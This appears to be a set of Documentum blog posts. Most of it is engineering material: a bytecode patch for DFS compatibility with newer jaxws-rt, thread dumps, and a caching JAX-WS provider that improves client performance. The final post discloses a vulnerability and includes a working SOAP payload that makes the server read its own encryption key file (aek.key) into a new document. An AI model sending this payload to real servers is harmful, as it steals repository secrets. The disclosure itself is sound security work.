DFS challenge

Yesterday I read interesting opinion about DFS on ECN:

I would strongly advise against using DFS, you should check if the REST API fits your use case: DFS is built on outdated libraries and it is “difficult” to make it work in certain (most) environments and with any java version newer than 6.0

Unfortunately, it is only a half of truth – at current moment there are no reliable options to exchange data between Documentum and other systems, and the fact that DFS is unreliable does not make REST API robust. So, what is wrong with DFS? I believe “DFS is built on outdated libraries” means following: DFS client libraries depend on ancient version of jaxws-rt, i.e. 2.1.7, and when we try to run DFS client against recent version of jaxws-rt we get something like:

java.lang.NoSuchMethodError: com.sun.xml.ws.api.message.Message.getHeaders()Lcom/sun/xml/ws/api/message/HeaderList;
at com.emc.documentum.fs.rt.impl.pipe.DfsTube.processRequest(DfsTube.java:89)
at com.sun.xml.ws.api.pipe.Fiber.__doRun(Fiber.java:1136)
at com.sun.xml.ws.api.pipe.Fiber._doRun(Fiber.java:1050)
at com.sun.xml.ws.api.pipe.Fiber.doRun(Fiber.java:1019)
at com.sun.xml.ws.api.pipe.Fiber.runSync(Fiber.java:877)
at com.sun.xml.ws.client.Stub.process(Stub.java:463)
at com.sun.xml.ws.client.sei.SEIStub.doProcess(SEIStub.java:191)
at com.sun.xml.ws.client.sei.SyncMethodHandler.invoke(SyncMethodHandler.java:108)
at com.sun.xml.ws.client.sei.SyncMethodHandler.invoke(SyncMethodHandler.java:92)
at com.sun.xml.ws.client.sei.SEIStub.invoke(SEIStub.java:161)
at com.sun.proxy.$Proxy41.get(Unknown Source)
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:497)
at com.emc.documentum.fs.rt.context.impl.compat.ClientReflectionServiceInvokerCompat60.invoke(ClientReflectionServiceInvokerCompat60.java:56)
at com.emc.documentum.fs.rt.context.impl.UcfClientInvocationHandler.invoke(UcfClientInvocationHandler.java:52)
at com.emc.documentum.fs.rt.context.impl.SoapClientInvocationHandler.invoke(SoapClientInvocationHandler.java:60)
at com.emc.documentum.fs.rt.context.impl.MtomCompatHandler60SP1.invoke(MtomCompatHandler60SP1.java:60)
at com.emc.documentum.fs.rt.context.impl.HttpSessionInvocationHandler.invoke(HttpSessionInvocationHandler.java:88)
at com.emc.documentum.fs.rt.context.impl.RemoteServiceInterfaceInvocationHandler.invoke(RemoteServiceInterfaceInvocationHandler.java:30)
at com.emc.documentum.fs.rt.context.impl.ReturnedContentTransformationHandler.invoke(ReturnedContentTransformationHandler.java:45)
at com.emc.documentum.fs.rt.context.impl.OperationOptionsHandler.invoke(OperationOptionsHandler.java:74)
at com.emc.documentum.fs.rt.context.impl.ContextThreadLocalInvocationHandler.invoke(ContextThreadLocalInvocationHandler.java:48)
at com.emc.documentum.fs.rt.context.impl.ServiceContextInvocationHandler.invoke(ServiceContextInvocationHandler.java:30)
at com.emc.documentum.fs.rt.context.impl.FileRegistryCleanupHandler.invoke(FileRegistryCleanupHandler.java:24)
at com.sun.proxy.$Proxy25.get(Unknown Source)

which could be fixed via following code (technically it just recompiles the problem com.emc.documentum.fs.rt.impl.pipe.DfsTube#processRequest method agains recent version of jaxws-rt):

/**
 * @author Andrey B. Panfilov <andrey@panfilov.tel>
 */
public class FixDfsTube {

    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        for (Class cls : new Class[] {ServiceContextAdapter.class,
            ThreadLocalContextStorage.class, Header.class, StringUtils.class,
            DOMHeader.class, ContentTransferModeUtil.class }) {
            pool.importPackage(cls.getPackage().getName());
        }

        String cls = DfsTube.class.getName();
        CtClass cc = pool.get(cls);
        CtMethod m = cc.getDeclaredMethod("processRequest");
        StringBuilder body = new StringBuilder();
        body.append("{\n");
        body.append("ServiceContextAdapter contextAdapter = (ServiceContextAdapter) ThreadLocalContextStorage\n");
        body.append("        .get();\n");
        body.append("String serviceName = $1.endpointAddress.getURL().getFile();\n");
        body.append("if (serviceName.endsWith(CONTEXT_REGISTRY_SERVICE_NAME)\n");
        body.append("        || serviceName.endsWith(AGENT_SERVICE_SERVICE_NAME)\n");
        body.append("        || contextAdapter == null) {\n");
        body.append("    return super.processRequest($1);\n");
        body.append("}\n");
        body.append("Header header;\n");
        body.append("if (StringUtils.isNotBlank(contextAdapter.getConsolidatedContext()\n");
        body.append("        .getToken())) {\n");
        body.append("    header = new DOMHeader(addTokenToHeader(contextAdapter\n");
        body.append("            .getConsolidatedContext().getToken()));\n");
        body.append("    $1.getMessage().getHeaders().add(header);\n");
        body.append("}\n");
        body.append("\n");
        body.append("if (!contextAdapter.isDeltaEmpty()) {\n");
        body.append("    header = new DOMHeader(\n");
        body.append("            createDeltaContextElement(contextAdapter.getDeltaContext()));\n");
        body.append("    $1.getMessage().getHeaders().add(header);\n");
        body.append("}\n");
        body.append("if (ContentTransferModeUtil.isMtomTransfer(contextAdapter)) {\n");
        body.append("    enableMtom($1);\n");
        body.append("} else {\n");
        body.append("    disableMtom($1);\n");
        body.append("}\n");
        body.append("return super.processRequest($1);\n");
        body.append("}");
        m.setBody(body.toString());

        String resourceName = DfsTube.class.getName().replace(".", "/")
                + ".class";
        URL resourceURL = DfsTube.class.getResource("/" + resourceName);
        JarURLConnection connection = (JarURLConnection) resourceURL
                .openConnection();
        URL jarURL = connection.getJarFileURL();
        String fileName = jarURL.getFile();
        ZipFile zipFile = new ZipFile(fileName);
        ZipOutputStream zos = new ZipOutputStream(new FileOutputStream(fileName
                + ".patched"));
        for (Enumeration e = zipFile.entries(); e.hasMoreElements();) {
            ZipEntry entryIn = (ZipEntry) e.nextElement();
            if (!entryIn.getName().equals(resourceName)) {
                zos.putNextEntry(new ZipEntry(entryIn.getName()));
                InputStream is = zipFile.getInputStream(entryIn);
                byte[] buf = new byte[1024];
                int len;
                while ((len = is.read(buf)) > 0) {
                    zos.write(buf, 0, len);
                }
            } else {
                zos.putNextEntry(new ZipEntry(resourceName));
                zos.write(cc.toBytecode());
            }
            zos.closeEntry();
        }
        zos.close();
    }

}

Enjoy 🙂

DFS client performance

All that time I did think that it is not possible to impress me if we are dealing with performance in Documentum, but on the last week my colleagues did that 🙂 Their problem was following: my colleagues had implemented integration service which heavily uses Documentum Foundation Services and on the last week they have started experiencing difficulties with performance, from java side their observations were looking like:

"Thread-1739" daemon prio=10 tid=0x00002aaac0f09000 nid=0x34bc runnable [0x000000004487f000]
   java.lang.Thread.State: RUNNABLE
	at org.jboss.modules.ModuleClassLoader.loadResourceLocal(ModuleClassLoader.java:305)
	at org.jboss.modules.ModuleClassLoader$1.loadResourceLocal(ModuleClassLoader.java:84)
	at org.jboss.modules.Module.getResources(Module.java:592)
	at org.jboss.modules.ModuleClassLoader.findResources(ModuleClassLoader.java:489)
	at org.jboss.modules.ConcurrentClassLoader.getResources(ConcurrentClassLoader.java:288)
	at java.lang.ClassLoader.getResources(ClassLoader.java:1181)
	at com.documentum.fc.client.impl.bof.classmgmt.DelayedDelegationClassLoader.getResources(DelayedDelegationClassLoader.java:103)
	at com.sun.xml.ws.util.ServiceFinder$LazyIterator.hasNext(ServiceFinder.java:351)
	at com.sun.xml.ws.util.ServiceFinder.toArray(ServiceFinder.java:225)
	at com.sun.xml.ws.client.WSServiceDelegate.parseWSDL(WSServiceDelegate.java:265)
	at com.sun.xml.ws.client.WSServiceDelegate.<init>(WSServiceDelegate.java:228)
	at com.sun.xml.ws.client.WSServiceDelegate.<init>(WSServiceDelegate.java:176)
	at com.sun.xml.ws.spi.ProviderImpl.createServiceDelegate(ProviderImpl.java:104)
	at javax.xml.ws.Service.<init>(Service.java:77)
	at com.emc.documentum.fs.services.core.ObjectService.<init>(ObjectService.java:68)
	at sun.reflect.GeneratedConstructorAccessor530.newInstance(Unknown Source)
	at sun.reflect.DelegatingConstructorAccessorImpl.newInstance(DelegatingConstructorAccessorImpl.java:45)
	at java.lang.reflect.Constructor.newInstance(Constructor.java:526)
	at com.emc.documentum.fs.rt.context.impl.DfsSoapService.newWebServiceClient(DfsSoapService.java:176)
	- locked <0x0000000709a71eb0> (a java.lang.Class for com.emc.documentum.fs.services.core.ObjectService)
	at com.emc.documentum.fs.rt.context.impl.DfsSoapService.init(DfsSoapService.java:69)
	at com.emc.documentum.fs.rt.context.impl.DfsSoapService.getBindingProvider(DfsSoapService.java:62)
	at com.emc.documentum.fs.rt.context.impl.HttpSessionInvocationHandler.invoke(HttpSessionInvocationHandler.java:54)
	at com.emc.documentum.fs.rt.context.impl.RemoteServiceInterfaceInvocationHandler.invoke(RemoteServiceInterfaceInvocationHandler.java:30)
	at com.emc.documentum.fs.rt.context.impl.ReturnedContentTransformationHandler.invoke(ReturnedContentTransformationHandler.java:45)
	at com.emc.documentum.fs.rt.context.impl.OperationOptionsHandler.invoke(OperationOptionsHandler.java:74)
	at com.emc.documentum.fs.rt.context.impl.ContextThreadLocalInvocationHandler.invoke(ContextThreadLocalInvocationHandler.java:48)
	at com.emc.documentum.fs.rt.context.impl.ServiceContextInvocationHandler.invoke(ServiceContextInvocationHandler.java:30)
	at com.emc.documentum.fs.rt.context.impl.FileRegistryCleanupHandler.invoke(FileRegistryCleanupHandler.java:24)
	at com.sun.proxy.$Proxy166.get(Unknown Source)

...

"Thread-1737" daemon prio=10 tid=0x00002aaac0aa1000 nid=0x34ba waiting for monitor entry [0x0000000044d84000]
   java.lang.Thread.State: BLOCKED (on object monitor)
	at com.emc.documentum.fs.rt.context.impl.DfsSoapService.newWebServiceClient(DfsSoapService.java:171)
	- waiting to lock <0x0000000709b6e710> (a java.lang.Class for com.emc.documentum.fs.services.core.QueryService)
	at com.emc.documentum.fs.rt.context.impl.DfsSoapService.init(DfsSoapService.java:69)
	at com.emc.documentum.fs.rt.context.impl.DfsSoapService.getBindingProvider(DfsSoapService.java:62)
	at com.emc.documentum.fs.rt.context.impl.HttpSessionInvocationHandler.invoke(HttpSessionInvocationHandler.java:54)
	at com.emc.documentum.fs.rt.context.impl.RemoteServiceInterfaceInvocationHandler.invoke(RemoteServiceInterfaceInvocationHandler.java:30)
	at com.emc.documentum.fs.rt.context.impl.ReturnedContentTransformationHandler.invoke(ReturnedContentTransformationHandler.java:45)
	at com.emc.documentum.fs.rt.context.impl.OperationOptionsHandler.invoke(OperationOptionsHandler.java:74)
	at com.emc.documentum.fs.rt.context.impl.ContextThreadLocalInvocationHandler.invoke(ContextThreadLocalInvocationHandler.java:48)
	at com.emc.documentum.fs.rt.context.impl.ServiceContextInvocationHandler.invoke(ServiceContextInvocationHandler.java:30)
	at com.emc.documentum.fs.rt.context.impl.FileRegistryCleanupHandler.invoke(FileRegistryCleanupHandler.java:24)
	at com.sun.proxy.$Proxy150.execute(Unknown Source)

...

"Thread-1736" daemon prio=10 tid=0x00002aaac141e000 nid=0x34b5 runnable [0x000000004054f000]
   java.lang.Thread.State: RUNNABLE
	at java.util.HashMap.initHashSeedAsNeeded(HashMap.java:337)
	at java.util.HashMap.inflateTable(HashMap.java:317)
	at java.util.HashMap.<init>(HashMap.java:296)
	at java.util.LinkedHashMap.<init>(LinkedHashMap.java:212)
	at sun.reflect.annotation.AnnotationParser.parseAnnotation2(AnnotationParser.java:270)
	at sun.reflect.annotation.AnnotationParser.parseAnnotations2(AnnotationParser.java:117)
	at sun.reflect.annotation.AnnotationParser.parseAnnotations(AnnotationParser.java:70)
	at java.lang.reflect.Field.declaredAnnotations(Field.java:1128)
	- locked <0x00000007b23b6590> (a java.lang.reflect.Field)
	at java.lang.reflect.Field.getDeclaredAnnotations(Field.java:1121)
	at java.lang.reflect.AccessibleObject.getAnnotations(AccessibleObject.java:197)
	at com.sun.xml.bind.v2.model.annotation.RuntimeInlineAnnotationReader.getAllFieldAnnotations(RuntimeInlineAnnotationReader.java:69)
	at com.sun.xml.bind.v2.model.annotation.RuntimeInlineAnnotationReader.getAllFieldAnnotations(RuntimeInlineAnnotationReader.java:53)
	at com.sun.xml.bind.v2.model.impl.ClassInfoImpl.findFieldProperties(ClassInfoImpl.java:371)
	at com.sun.xml.bind.v2.model.impl.ClassInfoImpl.getProperties(ClassInfoImpl.java:301)
	at com.sun.xml.bind.v2.model.impl.RuntimeClassInfoImpl.getProperties(RuntimeClassInfoImpl.java:176)
	at com.sun.xml.bind.v2.model.impl.ModelBuilder.getClassInfo(ModelBuilder.java:243)
	at com.sun.xml.bind.v2.model.impl.RuntimeModelBuilder.getClassInfo(RuntimeModelBuilder.java:100)
	at com.sun.xml.bind.v2.model.impl.RuntimeModelBuilder.getClassInfo(RuntimeModelBuilder.java:81)
	at com.sun.xml.bind.v2.model.impl.ModelBuilder.getClassInfo(ModelBuilder.java:209)
	at com.sun.xml.bind.v2.model.impl.RuntimeModelBuilder.getClassInfo(RuntimeModelBuilder.java:95)
	at com.sun.xml.bind.v2.model.impl.RuntimeModelBuilder.getClassInfo(RuntimeModelBuilder.java:81)
	at com.sun.xml.bind.v2.model.impl.ModelBuilder.getTypeInfo(ModelBuilder.java:315)
	at com.sun.xml.bind.v2.model.impl.ModelBuilder.getClassInfo(ModelBuilder.java:270)
	at com.sun.xml.bind.v2.model.impl.RuntimeModelBuilder.getClassInfo(RuntimeModelBuilder.java:100)
	at com.sun.xml.bind.v2.model.impl.RuntimeModelBuilder.getClassInfo(RuntimeModelBuilder.java:81)
	at com.sun.xml.bind.v2.model.impl.ModelBuilder.getClassInfo(ModelBuilder.java:209)
	at com.sun.xml.bind.v2.model.impl.RuntimeModelBuilder.getClassInfo(RuntimeModelBuilder.java:95)
	at com.sun.xml.bind.v2.model.impl.RuntimeModelBuilder.getClassInfo(RuntimeModelBuilder.java:81)
	at com.sun.xml.bind.v2.model.impl.ModelBuilder.getTypeInfo(ModelBuilder.java:315)
	at com.sun.xml.bind.v2.model.impl.TypeRefImpl.calcRef(TypeRefImpl.java:92)
	at com.sun.xml.bind.v2.model.impl.TypeRefImpl.getTarget(TypeRefImpl.java:69)
	at com.sun.xml.bind.v2.model.impl.RuntimeTypeRefImpl.getTarget(RuntimeTypeRefImpl.java:58)
	at com.sun.xml.bind.v2.model.impl.RuntimeTypeRefImpl.getTarget(RuntimeTypeRefImpl.java:51)
	at com.sun.xml.bind.v2.model.impl.ElementPropertyInfoImpl$1.get(ElementPropertyInfoImpl.java:74)
	at com.sun.xml.bind.v2.model.impl.ElementPropertyInfoImpl$1.get(ElementPropertyInfoImpl.java:77)
	at java.util.AbstractList$Itr.next(AbstractList.java:358)
	at com.sun.xml.bind.v2.model.impl.ModelBuilder.getClassInfo(ModelBuilder.java:255)
	at com.sun.xml.bind.v2.model.impl.RuntimeModelBuilder.getClassInfo(RuntimeModelBuilder.java:100)
	at com.sun.xml.bind.v2.model.impl.RuntimeModelBuilder.getClassInfo(RuntimeModelBuilder.java:81)
	at com.sun.xml.bind.v2.model.impl.ModelBuilder.getClassInfo(ModelBuilder.java:209)
	at com.sun.xml.bind.v2.model.impl.RuntimeModelBuilder.getClassInfo(RuntimeModelBuilder.java:95)
	at com.sun.xml.bind.v2.model.impl.RuntimeModelBuilder.getClassInfo(RuntimeModelBuilder.java:81)
	at com.sun.xml.bind.v2.model.impl.ModelBuilder.getTypeInfo(ModelBuilder.java:315)
	at com.sun.xml.bind.v2.model.impl.RegistryInfoImpl.<init>(RegistryInfoImpl.java:99)
	at com.sun.xml.bind.v2.model.impl.ModelBuilder.addRegistry(ModelBuilder.java:357)
	at com.sun.xml.bind.v2.model.impl.ModelBuilder.getTypeInfo(ModelBuilder.java:327)
	at com.sun.xml.bind.v2.runtime.JAXBContextImpl.getTypeInfoSet(JAXBContextImpl.java:441)
	at com.sun.xml.bind.v2.runtime.JAXBContextImpl.<init>(JAXBContextImpl.java:288)
	at com.sun.xml.bind.v2.runtime.JAXBContextImpl$JAXBContextBuilder.build(JAXBContextImpl.java:1111)
	at com.sun.xml.bind.v2.ContextFactory.createContext(ContextFactory.java:154)
	at com.sun.xml.bind.api.JAXBRIContext.newInstance(JAXBRIContext.java:106)
	at com.sun.xml.ws.developer.JAXBContextFactory$1.createJAXBContext(JAXBContextFactory.java:109)
	at com.sun.xml.ws.model.AbstractSEIModelImpl$1.run(AbstractSEIModelImpl.java:159)
	at com.sun.xml.ws.model.AbstractSEIModelImpl$1.run(AbstractSEIModelImpl.java:152)
	at java.security.AccessController.doPrivileged(Native Method)
	at com.sun.xml.ws.model.AbstractSEIModelImpl.createJAXBContext(AbstractSEIModelImpl.java:151)
	at com.sun.xml.ws.model.AbstractSEIModelImpl.postProcess(AbstractSEIModelImpl.java:94)
	at com.sun.xml.ws.model.RuntimeModeler.buildRuntimeModel(RuntimeModeler.java:255)
	at com.sun.xml.ws.client.WSServiceDelegate.createSEIPortInfo(WSServiceDelegate.java:698)
	at com.sun.xml.ws.client.WSServiceDelegate.addSEI(WSServiceDelegate.java:686)
	at com.sun.xml.ws.client.WSServiceDelegate.getPort(WSServiceDelegate.java:341)
	at com.sun.xml.ws.client.WSServiceDelegate.getPort(WSServiceDelegate.java:324)
	at com.sun.xml.ws.client.WSServiceDelegate.getPort(WSServiceDelegate.java:306)
	at javax.xml.ws.Service.getPort(Service.java:119)
	at com.emc.documentum.fs.services.core.QueryService.getQueryServicePort(QueryService.java:66)
	at sun.reflect.GeneratedMethodAccessor143.invoke(Unknown Source)
	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
	at java.lang.reflect.Method.invoke(Method.java:606)
	at com.emc.documentum.fs.rt.context.impl.DfsSoapService.newWebServiceClient(DfsSoapService.java:179)
	- locked <0x0000000709b6e710> (a java.lang.Class for com.emc.documentum.fs.services.core.QueryService)
	at com.emc.documentum.fs.rt.context.impl.DfsSoapService.init(DfsSoapService.java:69)
	at com.emc.documentum.fs.rt.context.impl.DfsSoapService.getBindingProvider(DfsSoapService.java:62)
	at com.emc.documentum.fs.rt.context.impl.HttpSessionInvocationHandler.invoke(HttpSessionInvocationHandler.java:54)
	at com.emc.documentum.fs.rt.context.impl.RemoteServiceInterfaceInvocationHandler.invoke(RemoteServiceInterfaceInvocationHandler.java:30)
	at com.emc.documentum.fs.rt.context.impl.ReturnedContentTransformationHandler.invoke(ReturnedContentTransformationHandler.java:45)
	at com.emc.documentum.fs.rt.context.impl.OperationOptionsHandler.invoke(OperationOptionsHandler.java:74)
	at com.emc.documentum.fs.rt.context.impl.ContextThreadLocalInvocationHandler.invoke(ContextThreadLocalInvocationHandler.java:48)
	at com.emc.documentum.fs.rt.context.impl.ServiceContextInvocationHandler.invoke(ServiceContextInvocationHandler.java:30)
	at com.emc.documentum.fs.rt.context.impl.FileRegistryCleanupHandler.invoke(FileRegistryCleanupHandler.java:24)
	at com.sun.proxy.$Proxy150.execute(Unknown Source)

...

"EJB default - 5" prio=10 tid=0x0000000017f20000 nid=0x77a9 waiting for monitor entry [0x0000000043f75000]
   java.lang.Thread.State: BLOCKED (on object monitor)
	at com.emc.documentum.fs.rt.context.impl.DfsSoapService.newWebServiceClient(DfsSoapService.java:171)
	- waiting to lock <0x00000007098434a8> (a java.lang.Class for com.emc.documentum.fs.services.core.QueryService)
	at com.emc.documentum.fs.rt.context.impl.DfsSoapService.init(DfsSoapService.java:69)
	at com.emc.documentum.fs.rt.context.impl.DfsSoapService.getBindingProvider(DfsSoapService.java:62)
	at com.emc.documentum.fs.rt.context.impl.HttpSessionInvocationHandler.invoke(HttpSessionInvocationHandler.java:54)
	at com.emc.documentum.fs.rt.context.impl.RemoteServiceInterfaceInvocationHandler.invoke(RemoteServiceInterfaceInvocationHandler.java:30)
	at com.emc.documentum.fs.rt.context.impl.ReturnedContentTransformationHandler.invoke(ReturnedContentTransformationHandler.java:45)
	at com.emc.documentum.fs.rt.context.impl.OperationOptionsHandler.invoke(OperationOptionsHandler.java:74)
	at com.emc.documentum.fs.rt.context.impl.ContextThreadLocalInvocationHandler.invoke(ContextThreadLocalInvocationHandler.java:48)
	at com.emc.documentum.fs.rt.context.impl.ServiceContextInvocationHandler.invoke(ServiceContextInvocationHandler.java:30)
	at com.emc.documentum.fs.rt.context.impl.FileRegistryCleanupHandler.invoke(FileRegistryCleanupHandler.java:24)
	at com.sun.proxy.$Proxy193.execute(Unknown Source)

Obviously, heavy calls are: com.sun.xml.ws.client.WSServiceDelegate#parseWSDL and com.sun.xml.bind.api.JAXBRIContext#newInstance, plus somebody in EMC made it more slower my placing synchronized keyword into com.emc.documentum.fs.rt.context.impl.DfsSoapService#newWebServiceClient method. Corresponding java code, written by my colleagues, was looking like:

public static QueryResult query(final String query,
        final String repository, final String userName,
        final String password) throws ServiceException {
    IServiceContext context = ContextFactory.getInstance().newContext();
    Identity identity = new RepositoryIdentity(repository, userName,
            password, null);
    context.setIdentities(Arrays.asList(identity));
    IQueryService service = ServiceFactory.getInstance().getRemoteService(
            IQueryService.class, context);
    return service.execute(new PassthroughQuery(Arrays.asList(repository),
            query), null, null);
}

I’m not sure whether the above pattern is optimal or not from performance perspective because documentations says nothing about thread-safety of DFS remote services, but at first glance com.emc.documentum.fs.rt.context.impl.DfsSoapService and com.emc.documentum.fs.rt.context.impl.HttpSessionInvocationHandler classes seem not to be thread-safe, so we can’t share the same instance of IQueryService among multiple threads, moreover, it seems that we can’t reuse instances of DFS remote services as well, so instantiating new instance of IQueryService on every request sounds reasonable, but performance sucks. After some trials and failures I have found following option to improve performance of DFS clients:

package pro.documentum.dfs.remote.cache;

import java.net.URL;
import java.util.Iterator;
import java.util.List;
import java.util.Map;
import java.util.Objects;
import java.util.ServiceLoader;
import java.util.concurrent.ConcurrentHashMap;
import java.util.concurrent.ConcurrentMap;

import javax.xml.namespace.QName;
import javax.xml.transform.Source;
import javax.xml.ws.Endpoint;
import javax.xml.ws.EndpointReference;
import javax.xml.ws.Service;
import javax.xml.ws.WebServiceException;
import javax.xml.ws.WebServiceFeature;
import javax.xml.ws.spi.Invoker;
import javax.xml.ws.spi.Provider;
import javax.xml.ws.spi.ServiceDelegate;
import javax.xml.ws.wsaddressing.W3CEndpointReference;

import org.w3c.dom.Element;

/**
 * @author Andrey B. Panfilov <andrey@panfilov.tel>
 */
public class CachingProviderImpl extends Provider {

    private static final ConcurrentMap<DelegateKey, ServiceDelegate> CACHE;

    private static final Provider DELEGATE;

    static {
        CACHE = new ConcurrentHashMap<>();
        DELEGATE = getProviderLoader();
    }

    public CachingProviderImpl() {
        super();
    }

    private static Provider getProviderLoader() {
        ServiceLoader<Provider> loader = ServiceLoader.load(Provider.class);
        Iterator<Provider> iterator = loader.iterator();
        Provider provider = null;
        while (iterator.hasNext()) {
            provider = iterator.next();
            if (isSelf(provider)) {
                continue;
            }
            return provider;
        }
        provider = Provider.provider();
        if (isSelf(provider)) {
            throw new WebServiceException(
                    "Unable to createEndpointReference Provider");
        }
        return provider;
    }

    public static boolean isSelf(final Provider provider) {
        return provider instanceof CachingProviderImpl;
    }

    @Override
    public ServiceDelegate createServiceDelegate(
            final URL wsdlDocumentLocation, final QName serviceName,
            final Class<? extends Service> serviceClass) {
        DelegateKey key = new DelegateKey(wsdlDocumentLocation, serviceName,
                serviceClass);
        ServiceDelegate result = CACHE.get(key);
        if (result == null) {
            result = DELEGATE.createServiceDelegate(wsdlDocumentLocation,
                    serviceName, serviceClass);
            ServiceDelegate temp = CACHE.putIfAbsent(key, result);
            if (temp != null) {
                result = temp;
            }
        }
        return result;
    }

    @SuppressWarnings("unchecked")
    public ServiceDelegate createServiceDelegate(
            final URL wsdlDocumentLocation, final QName serviceName,
            final Class serviceClass, final WebServiceFeature... features) {
        if (features == null || features.length == 0) {
            return createServiceDelegate(wsdlDocumentLocation, serviceName,
                    serviceClass);
        }
        return DELEGATE.createServiceDelegate(wsdlDocumentLocation,
                serviceName, serviceClass, features);
    }

    @Override
    public Endpoint createEndpoint(final String bindingId,
            final Object implementor) {
        return DELEGATE.createEndpoint(bindingId, implementor);
    }

    @Override
    public Endpoint createAndPublishEndpoint(final String address,
            final Object implementor) {
        return DELEGATE.createAndPublishEndpoint(address, implementor);
    }

    @Override
    public EndpointReference readEndpointReference(final Source eprInfoset) {
        return DELEGATE.readEndpointReference(eprInfoset);
    }

    @Override
    public <T> T getPort(final EndpointReference endpointReference,
            final Class<T> serviceEndpointInterface,
            final WebServiceFeature... features) {
        return DELEGATE.getPort(endpointReference, serviceEndpointInterface,
                features);
    }

    @Override
    public W3CEndpointReference createW3CEndpointReference(
            final String address, final QName serviceName,
            final QName portName, final List<Element> metadata,
            final String wsdlDocumentLocation,
            final List<Element> referenceParameters) {
        return DELEGATE.createW3CEndpointReference(address, serviceName,
                portName, metadata, wsdlDocumentLocation, referenceParameters);
    }

    @Override
    public W3CEndpointReference createW3CEndpointReference(
            final String address, final QName interfaceName,
            final QName serviceName, final QName portName,
            final List<Element> metadata, final String wsdlDocumentLocation,
            final List<Element> referenceParameters,
            final List<Element> elements, final Map<QName, String> attributes) {
        return DELEGATE.createW3CEndpointReference(address, interfaceName,
                serviceName, portName, metadata, wsdlDocumentLocation,
                referenceParameters, elements, attributes);
    }

    @Override
    public Endpoint createAndPublishEndpoint(final String address,
            final Object implementor, final WebServiceFeature... features) {
        return DELEGATE
                .createAndPublishEndpoint(address, implementor, features);
    }

    @Override
    public Endpoint createEndpoint(final String bindingId,
            final Object implementor, final WebServiceFeature... features) {
        return DELEGATE.createEndpoint(bindingId, implementor, features);
    }

    @Override
    public Endpoint createEndpoint(final String bindingId,
            final Class<?> implementorClass, final Invoker invoker,
            final WebServiceFeature... features) {
        return DELEGATE.createEndpoint(bindingId, implementorClass, invoker,
                features);
    }

    class DelegateKey {

        private final URL _wsdlLocation;

        private final QName _serviceName;

        private final Class<? extends Service> _serviceClass;

        DelegateKey(final URL wsdlLocation, final QName serviceName,
                final Class<? extends Service> serviceClass) {
            _wsdlLocation = wsdlLocation;
            _serviceName = serviceName;
            _serviceClass = serviceClass;
        }

        public URL getWsdlLocation() {
            return _wsdlLocation;
        }

        public QName getServiceName() {
            return _serviceName;
        }

        public Class<? extends Service> getServiceClass() {
            return _serviceClass;
        }

        @Override
        public boolean equals(final Object o) {
            if (this == o) {
                return true;
            }
            if (!(o instanceof DelegateKey)) {
                return false;
            }
            DelegateKey that = (DelegateKey) o;
            return Objects.equals(_wsdlLocation, that._wsdlLocation)
                    && Objects.equals(_serviceName, that._serviceName)
                    && Objects.equals(_serviceClass, that._serviceClass);
        }

        @Override
        public int hashCode() {
            return Objects.hash(_wsdlLocation, _serviceName, _serviceClass);
        }

    }

}

META-INF/services/javax.xml.ws.spi.Provider:

pro.documentum.dfs.remote.cache.CachingProviderImpl

documentum security vulnerabilities: DFS

Any user is able to create document object with content based on DFS filesystem:

<?xml version="1.0" ?>
<S:Envelope xmlns:S="http://schemas.xmlsoap.org/soap/envelope/">
    <S:Header>
        <ServiceContext xmlns="http://context.core.datamodel.fs.documentum.emc.com/"
                        xmlns:ns3="http://profiles.core.datamodel.fs.documentum.emc.com/"
                        xmlns:ns4="http://query.core.datamodel.fs.documentum.emc.com/">
            <Identities xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
                        password="password" repositoryName="repo"
                        userName="user" xsi:type="RepositoryIdentity"
             />
        </ServiceContext>
    </S:Header>
    <S:Body>
        <ns8:create xmlns:ns3="http://core.datamodel.fs.documentum.emc.com/"
                    xmlns:ns4="http://content.core.datamodel.fs.documentum.emc.com/"
                    xmlns:ns8="http://core.services.fs.documentum.emc.com/">
            <dataPackage>
                <ns3:DataObjects type="dm_document">
                    <ns3:Identity repositoryName="repo" valueType="UNDEFINED"/>
                    <ns3:Contents xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
                            xsi:type="ns4:UrlContent"
                            url="file:///u01/documentum/dba/secure/aek.key" 
                            pageNumber="0" format="binary">
                        <ns4:renditionType xsi:nil="true"/>
                        <ns4:intentModifier>SET</ns4:intentModifier>
                    </ns3:Contents>
                </ns3:DataObjects>
            </dataPackage>
        </ns8:create>
    </S:Body>
</S:Envelope>